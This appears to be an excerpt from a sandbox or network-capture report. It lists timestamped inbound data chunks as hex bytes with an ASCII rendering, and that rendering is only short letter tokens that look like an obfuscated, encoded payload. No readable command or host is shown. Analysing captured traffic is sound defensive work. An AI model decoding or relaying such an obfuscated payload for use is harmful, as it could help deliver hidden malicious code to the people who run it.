4f 20 4f 4f 4b 20 52 51 20 74 4b 20 59 78 20 4b 6b 20 59 52 20 6f 74 20 6b 45 20 4f Data Ascii: Yx Kk Yo YK kK OOK Ek Oxk OOo Yx OxY YO YK kK OOE OOt OxQ OOo RO Kk Yx YY tQ RR OOY OxQ Yo Kk Kk Yx YE kK OOK Oxx Ex tQ Yx Kk YR Rx kR OOO oKk YY OOo Yx KQ oE oEx OKx OOK OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ Ooo oR Q Yx YK QK OoO OOK RQ tK Yx Kk YR ot kE O
2021-10-29 18:10:59 UTC	1664	IN	Data Raw: 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 6f 4f 4b 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 74 6f 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 45 20 51 51 20 4f 4f 45 20 4f 6f 4b 20 4f 4f 74 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 4f 59 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 52 20 6f 52 20 4b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 20 74 Data Ascii: K OOK OOt Oxk kY ooR oOK Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR OQE OOo Yx YK QE OE kK OOK Oot o to YO Kk Yo EQ kE QQ OOE OoK OOt KY RE OQO Oxk kK OOK OOR to ORx OYY Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK oQ oOt OxQ OOo Yo YR oR Kk kK OOK OOY o t
2021-10-29 18:10:59 UTC	1665	IN	Data Raw: 4b 4f 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 4f 45 6f 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 52 20 4f 4f 51 20 45 59 20 59 59 20 4b 45 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 4f 59 51 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 45 4f 20 4b 4f 20 52 51 20 4f 4f 74 20 4f 78 6b 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f 20 4f Data Ascii: KO Okt OK OOK OOt Oxk kY ooR OEo Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR OQE OOo Yx YK QE OE kK OOK Oot OoR OOQ EY YY KE Okt OK OOK OOt Oxk kY ooR OYQ Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR KY OOo Yx Yk EO KO RQ OOt Oxk ooK Ko Yx Kk YO OQ OEo O
2021-10-29 18:10:59 UTC	1666	IN	Data Raw: 59 59 20 4f 4b 20 52 51 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 78 78 20 45 45 20 59 4b 20 45 59 20 59 78 20 52 51 20 4f 4f 51 20 4f 78 52 20 4f 6f 78 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 59 74 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 78 4f 20 6b 6b 20 59 6f 20 4b 6b 20 59 78 20 4b 6b 20 45 6b 20 4f 20 4f 4f 51 20 4f 78 51 20 78 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 78 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20 59 45 20 52 51 20 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 51 20 59 6b 20 45 45 20 59 6b 20 45 51 20 6b 78 20 51 51 20 4f 4f 6f Data Ascii: YY OK RQ OOY OOt OxQ Oxx EE YK EY Yx RQ OOQ OxR Oox oYE OxK Kk Yx YY OOE ORo OYt OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk QE OYK kK OOK OOY OxO kk Yo Kk Yx Kk Ek O OOQ OxQ x tR KR Yx YK QK oQ OxR OxQ OOo YR EY YE RQ OR OOY OOt Oxt QQ Yk EE Yk EQ kx QQ OOo
2021-10-29 18:10:59 UTC	1668	IN	Data Raw: 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f 4b 20 52 20 4f 20 4b 6f 20 4b 6b 20 45 45 20 59 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4b 59 20 4f 20 4f 20 59 74 20 6b 74 20 51 78 20 52 6f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 78 20 6f 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 78 45 20 51 4f 20 52 78 20 59 78 20 45 52 20 45 4b 20 4f 6f 4b 20 6b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 51 45 20 4f 4f 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 20 4b 6b 20 59 6f 20 6f 6b 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 78 20 45 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 6b 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 45 45 20 52 20 6b 52 20 4f 4f 4b 20 6b 6f 20 4f 78 51 20 4f 4f Data Ascii: Ot kK OOK Oot OOK R O Ko Kk EE YQ kY OOt OxQ Ooo KY O O Yt kt Qx Ro OxQ OOo YR Yx oR Kx kK OOK OOY OxE QO Rx Yx ER EK OoK kK OOt OxQ OOk QE OO Yx YK QK Oox OtO OOx kR oER Kk Yo ok kY Qk OOt OxQ OOo Yx YK Yx E OOO OOK OOk Qk OOo Yx KQ EE R kR OOK ko OxQ OO
2021-10-29 18:10:59 UTC	1669	IN	Data Raw: 52 20 51 45 20 4f 78 4f 20 4f 4f 6f 20 59 78 20 6f 74 20 51 45 20 6f 4b 6b 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 6f 20 4f 52 4f 20 59 4f 20 4b 6b 20 59 6f 20 52 78 20 4f 45 6b 20 4f 4f 45 20 6b 45 20 4f 74 51 20 4f 4f 6f 20 6f 45 52 20 59 4f 20 6f 78 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 45 20 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 74 20 4b 51 20 59 78 20 59 4b 20 74 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6b 45 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 4f 20 59 4b 20 6b 4b 20 51 78 20 4f 4f 52 20 4f 78 51 20 4f Data Ascii: R QE OxO OOo Yx ot QE oKk kY OOK OOY o ORO YO Kk Yo Rx OEk OOE kE OtQ OOo oER YO ox oEo kK OOR QY OxQ OOo Yx OOE R YK kK OOK OOt OxQ OOo Yt KQ Yx YK tR OOK OOt OxQ kE YO Kk Yx YE kK OOK OOt Qk OOo Yx KQ Yx YK kK OOK OoO OxQ OOo Yx KK YO YK kK Qx OOR OxQ O
2021-10-29 18:10:59 UTC	1670	IN	Data Raw: 59 78 20 4f 6f 52 20 4b 78 20 4f 4f 4b 20 51 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 6f 20 4f 4f 4b 20 6f 4b 51 20 6f 59 59 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 59 20 4f 4f 6f 20 4f 4f 4b 20 4b 51 20 59 78 20 59 4b 20 51 59 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 6f 4f 20 4b 51 20 59 78 20 4b 6b 20 51 4b 20 4f 4f 6f 20 6f 52 20 59 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 78 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 6f 20 74 6f 20 4f 4b 59 20 4b 6b 20 59 78 20 59 4b 20 6b 45 20 6f 51 20 4f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 6f 4f 20 4f 78 4f 20 45 4f 20 4f 4f 78 20 4b 6b 20 59 78 20 52 78 20 45 6b 20 6f Data Ascii: Yx OoR Kx OOK Qt OxQ OOo Yx Kk Yx YK ko OOK oKQ oYY OOo KQ Yk Yx YK kY OxY RQ OxY OOo OOK KQ Yx YK QY OOK OOt OoK E OoO KQ Yx Kk QK OOo oR Yo OOo Yx Yk QE OxQ kK OOK Oot Oxo to OKY Kk Yx YK kE oQ Ooo OxQ OOo YR Rk Et YK kK OOY OoO OxO EO OOx Kk Yx Rx Ek o
2021-10-29 18:10:59 UTC	1672	IN	Data Raw: 4f 4b 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 45 59 20 52 74 20 4b 45 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 6f 74 20 4f 4f 4f 20 4f 4b 20 4b 6b 20 4b 51 20 59 78 20 59 78 20 4f 4f 45 20 51 59 20 51 6b 20 74 59 20 4f 4b 20 59 4f 20 4b 51 20 59 78 20 59 78 20 4f 74 78 20 4f 4f 52 20 4f 59 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 52 74 20 4b 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 78 20 6f 45 74 20 4f 4f 4b 20 59 4f 20 4b 6b 20 59 4b 20 45 78 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 45 4f 20 4b 52 20 4b 6b 20 59 78 20 52 78 20 51 59 20 74 4b 20 52 4b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 59 20 51 45 20 4b 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 51 74 20 4f 6f 78 20 4b 6f 20 45 51 20 45 74 20 4f 6b 74 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 45 Data Ascii: OK OoO OxQ OOo EY Rt KE YK kK Oox Oot OOO OK Kk KQ Yx Yx OOE QY Qk tY OK YO KQ Yx Yx Otx OOR OYO Oxk OOo Yo Rt Kx YK kK Oox kx oEt OOK YO Kk YK Ex kY OOK OOt tx EO KR Kk Yx Rx QY tK RK Oxk OOo Yx YY QE KE kK OOK Oot Qt Oox Ko EQ Et Okt Oo OOK OOt Oxk kY E
2021-10-29 18:10:59 UTC	1673	IN	Data Raw: 6f 20 4b 6b 20 59 78 20 59 4b 20 4f 45 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4b 78 20 59 4f 20 4b 6b 20 59 78 20 59 52 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 74 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 74 20 59 4f 20 59 4b 20 6b 4b 20 6f 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 4b 51 20 4b 6b 20 59 78 20 59 4b 20 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 78 20 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4b 6f 20 4f 4f 45 20 59 78 20 4b 6b 20 74 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 59 78 20 59 4b 20 Data Ascii: o Kk Yx YK OEk OOK OOt OxQ Kx YO Kk Yx YR kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK to OxQ OOo Yx ot YO YK kK oR OOR OxQ OOo KQ Kk Yx YK QK OOK OOt Oxk OOK Yx Kk Yx t kK OOK OOt Ko OOE Yx Kk tK YY kK OOK Oot OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yo Kk Yx YK
2021-10-29 18:10:59 UTC	1674	IN	Data Raw: 74 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4b 51 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 51 6b 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 6f 20 59 52 20 45 59 20 59 78 20 74 6b 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 4f 59 6b 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 74 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 6b 20 59 4f 20 59 4b 20 6b 6f 20 51 51 20 4f Data Ascii: t Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR OQE OOo Yx YK QE OE kK OOK Oot RQ KQ Yx Kk YR kQ Qk OOY OOt Oxt Qt Yo YR EY Yx tk oYY Kt OxQ OOo YO oO ooR oxk kK OOK OOE RQ tO Yx Kk YR RQ Oxk OOK OOt OxE EO OYk Kk Yx Kk YQ tE OOt OxQ Ooo QE k YO YK ko QQ O
2021-10-29 18:10:59 UTC	1676	IN	Data Raw: 6f 20 59 52 20 74 6b 20 4b 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 4f 4b 20 4f 4f 6f 20 59 78 20 59 6b 20 45 4b 20 59 4b 20 6b 52 20 4f 78 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 74 59 20 4b 52 20 6f 45 6f 20 4f 6f 6f 20 45 4f 20 6b 59 20 4b 6b 20 59 78 20 52 78 20 51 59 20 4f 4f 74 20 4f 78 51 20 6f 4b 74 20 4f 4f 78 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 6f 4b 45 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 45 78 20 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 6f 20 59 6f 20 59 59 20 45 74 20 4f 74 6f 20 51 4b 20 6b 51 20 4f 4f 45 20 4f 78 52 20 4f 78 6f 20 4f 52 6b 20 59 6b 20 6f 45 52 20 59 45 Data Ascii: o YR tk KK YK kK Oox oR OOK OOo Yx Yk EK YK kR OxO oKk YY OOo Yx KQ oE Eo tY KR oEo Ooo EO kY Kk Yx Rx QY OOt OxQ oKt OOx OQO OxR Yx YK kY kt ORY oKE OOo Yx Yo oR O kK OOK Oot Ex to Yx Kk YR Ex Q OOK OOt OxE Qo Yo YY Et Oto QK kQ OOE OxR Oxo ORk Yk oER YE
2021-10-29 18:10:59 UTC	1677	IN	Data Raw: 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 4f 52 6f 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 52 6b 20 4b 51 20 4f 4f 45 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 51 6f 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4b 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20 59 74 20 45 51 20 51 4b 20 51 78 20 74 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 51 20 51 6f 20 45 51 20 51 59 20 51 78 20 74 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 51 20 6b 74 20 45 78 20 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 74 20 59 52 20 6f 4b 20 4f 6f 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6f 20 4f Data Ascii: YK kY kt ORY ORo OOo Yx Yo oR O kK OOK Oot Ex to Yx Kk YR Rk KQ OOE OOt oQ OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo QE Qo Yx YK QK oQ KE OxQ OOo YR EY Yt EQ QK Qx tE OxQ OOo YR oQ Qo EQ QY Qx tE OxQ OOo YR oQ kt Ex Yo OOK OOt OxE Qt YR oK OoO YK kK Oox oR Oo O
2021-10-29 18:10:59 UTC	1678	IN	Data Raw: 4f 4f 74 20 4f 78 74 20 51 78 20 52 6b 20 59 78 20 6f 52 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 45 4f 20 6b 59 20 59 4b 20 4b 6b 20 52 52 20 45 78 20 4f 4b 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 59 52 20 4b 6b 20 59 78 20 6f 51 20 6b 74 20 4f 4f 6b 20 6f 52 20 4f 45 45 20 4f 4f 45 20 59 78 20 59 4b 20 6f 4b 20 59 4b 20 74 4f 20 52 52 20 4f 6f 52 20 4f 78 51 20 51 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 6b 20 45 51 20 4b 6b 20 59 78 20 4b 6b 20 45 6b 20 4b 59 20 4f 4f 45 20 4f 78 51 20 78 20 6f 52 20 6f 45 45 20 59 78 20 59 4b 20 6b 6f 20 51 78 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 6f 59 20 59 4f 20 59 4b 20 59 4f 20 51 78 20 4f 4f 6b 20 4f 6f 45 20 4f 78 4b 20 4f 6f 52 20 59 6f 20 52 6f Data Ascii: OOt Oxt Qx Rk Yx oR EY kK OOK OOY EO kY YK Kk RR Ex OKO OOK OOt Oxt kk YR Kk Yx oQ kt OOk oR OEE OOE Yx YK oK YK tO RR OoR OxQ Qo Yx Kk Yx YK kK OOK OOt OOO kk EQ Kk Yx Kk Ek KY OOE OxQ x oR oEE Yx YK ko Qx OoR OxQ OOo oY YO YK YO Qx OOk OoE OxK OoR Yo Ro
2021-10-29 18:10:59 UTC	1680	IN	Data Raw: 20 4f 6b 6b 20 6b 51 20 4f 78 74 20 4f 6b 74 20 52 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 6f 59 20 59 45 20 59 59 20 4f 6b 6b 20 51 59 20 74 59 20 51 6b 20 4b 4b 20 4f 78 4f 20 4f 78 6f 20 4b 59 20 45 6f 20 6f 52 20 6b 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 52 20 4f 78 6f 20 59 51 20 45 6b 20 59 45 20 4f 6b 4b 20 52 4f 20 4f 6f 6f 20 6f 59 4f 20 4b 20 4b 4f 20 6f 52 20 51 59 20 59 78 20 59 4b 20 51 4b 20 4f 20 4f 78 6f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 4f 20 59 6f 20 45 4b 20 51 45 20 4f 6f 6f 20 6f 52 20 74 74 20 4f 4f 6f 20 59 78 20 59 4b 20 45 45 20 59 78 20 4f 45 6b 20 4f 4f 51 20 6b 45 20 4f 74 51 20 4f 4f 6f 20 45 6b 20 6f 52 20 45 59 20 59 78 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 Data Ascii: Okk kQ Oxt Okt Rx OOK OOt Oxk OoY YE YY Okk QY tY Qk KK OxO Oxo KY Eo oR kQ kK OOK Oot OxR Oxo YQ Ek YE OkK RO Ooo oYO K KO oR QY Yx YK QK O Oxo OxQ OOo Yo YO Yo EK QE Ooo oR tt OOo Yx YK EE Yx OEk OOQ kE OtQ OOo Ek oR EY Yx OoR OOK OOt Oxk QR Yx Kk Yx Y
2021-10-29 18:10:59 UTC	1681	IN	Data Raw: 45 78 20 4b 6b 20 45 51 20 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 6f 20 6f 4b 20 74 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 4f 6f 20 6f 20 78 20 59 78 20 4b 6b 20 59 52 20 52 4f 20 6b 52 20 4f 4f 52 20 74 20 6f 4b 78 20 4f 4f 74 20 59 78 20 52 4b 20 59 45 20 4b 51 20 6f 4f 6b 20 6f 74 20 51 51 20 52 51 20 4f 78 74 20 59 78 20 4b 6b 20 59 6f 20 6f 52 20 6b 6f 20 4f 20 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 74 4b 20 59 6f 20 6f 6b 20 74 4f 20 52 52 20 4f 6f 74 20 4f 78 51 20 6f 4b 4f 20 59 78 20 4b 6b 20 59 78 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 59 20 52 4b 20 4f 45 59 20 59 59 20 59 4b 20 45 52 20 51 78 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 45 6b 20 6f 52 20 52 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 4f 4f Data Ascii: Ex Kk EQ E OOt OxQ Ooo to oK tO YK kK Oox OOo o x Yx Kk YR RO kR OOR t oKx OOt Yx RK YE KQ oOk ot QQ RQ Oxt Yx Kk Yo oR ko O K OxQ OOo YR tK Yo ok tO RR Oot OxQ oKO Yx Kk Yx EY kK OOK Oxx OOO OOY RK OEY YY YK ER Qx kO OxQ OOo Yo Ek oR RQ kK OOK Oot OxE OO
2021-10-29 18:10:59 UTC	1682	IN	Data Raw: 20 51 78 20 6f 6f 4b 20 6f 4b 20 6b 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 78 52 20 51 74 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f 4f 20 45 4f 20 52 52 20 4b 6b 20 59 78 20 52 78 20 6b 74 20 4f 4f 6b 20 51 45 20 74 4b 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 6b 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 59 45 20 6b 4b 20 4f 4f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 45 45 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 4b 20 4f 4f 45 20 4f 4f 4f 20 6f 59 4b 20 45 4f 20 59 6f 20 45 6b 20 52 78 Data Ascii: Qx ooK oK ko YK kK Oox OxR Qt oYE OxK Kk Yx YY OOE ORo OEY OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk oR kk kK OOK Oot OOO EO RR Kk Yx Rx kt OOk QE tK OOo Yx YK QE kt kK OOK Oot tO OOo Yx KE o YE kK OOO OOt OxQ OOo EE Kk Yx EQ kR QK OOE OOO oYK EO Yo Ek Rx
2021-10-29 18:10:59 UTC	1684	IN	Data Raw: 20 45 59 20 59 45 20 45 45 20 4f 6f 20 4f 78 52 20 4b 78 20 52 4b 20 4f 6f 4b 20 59 6f 20 52 52 20 4f 4f 52 20 4b 51 20 6b 4b 20 6f 20 51 45 20 74 78 20 4f 4f 6f 20 59 78 20 59 6b 20 59 52 20 4b 51 20 52 74 20 4b 6f 20 4f 6f 52 20 4f 78 52 20 4f 4f 4b 20 51 45 20 4f 74 6b 20 59 78 20 59 4b 20 51 4b 20 74 74 20 45 51 20 4f 4b 52 20 4f 4b 45 20 6f 78 59 20 59 4b 20 6f 4b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 6f 20 51 45 20 4f 4f 74 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 78 74 20 4f 4f 74 20 4f 78 51 20 51 74 20 52 59 20 4f 74 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20 51 51 20 4f 78 6f 20 51 4f 20 6f 78 20 59 4b 20 4b 6b 20 4b 51 20 59 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4b 51 20 59 59 20 4b 51 20 6b 51 20 6f 78 6b 20 4f 4f Data Ascii: EY YE EE Oo OxR Kx RK OoK Yo RR OOR KQ kK o QE tx OOo Yx Yk YR KQ Rt Ko OoR OxR OOK QE Otk Yx YK QK tt EQ OKR OKE oxY YK oK YK kK OOK Oxo QE OOt Yx OOo Yx YK kK Oxt OOt OxQ Qt RY OtQ Yx YK QK Oox QQ Oxo QO ox YK Kk KQ YQ kY OOt OxQ Ooo KQ YY KQ kQ oxk OO
2021-10-29 18:10:59 UTC	1685	IN	Data Raw: 6b 20 4f 74 78 20 59 4b 20 6b 4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 4b 4f 20 78 20 59 4f 20 59 4b 20 52 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 78 74 20 59 78 20 4b 6b 20 45 59 20 59 6f 20 4b 74 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 51 45 20 59 78 20 59 4f 20 59 4b 20 6b 6f 20 4f 6f 78 20 4f 74 4f 20 4f 78 4b 20 6b 52 20 45 52 20 59 6b 20 6f 45 52 20 59 4b 20 6b 6f 20 6b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 45 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 52 20 52 78 20 4b 6b 20 59 59 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6b 20 52 4b 20 4b 6b 20 4b 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20 4f 78 51 20 4f 4f 6f 20 45 59 20 59 78 20 74 45 20 59 6f 20 6b Data Ascii: k Otx YK kO OoY OOt OxQ OOE KO x YO YK RY OOK OOt OxQ Oxt Yx Kk EY Yo Kt OOo OOt OxQ OOR QE Yx YO YK ko Oox OtO OxK kR ER Yk oER YK ko kk OOt OxQ OOo YO Eo Yx YK kK OOK OOt OxQ OoR Rx Kk YY Yt kK OOK OOR OOk RK Kk Kk Et YK kK OOK OOx OxQ OOo EY Yx tE Yo k
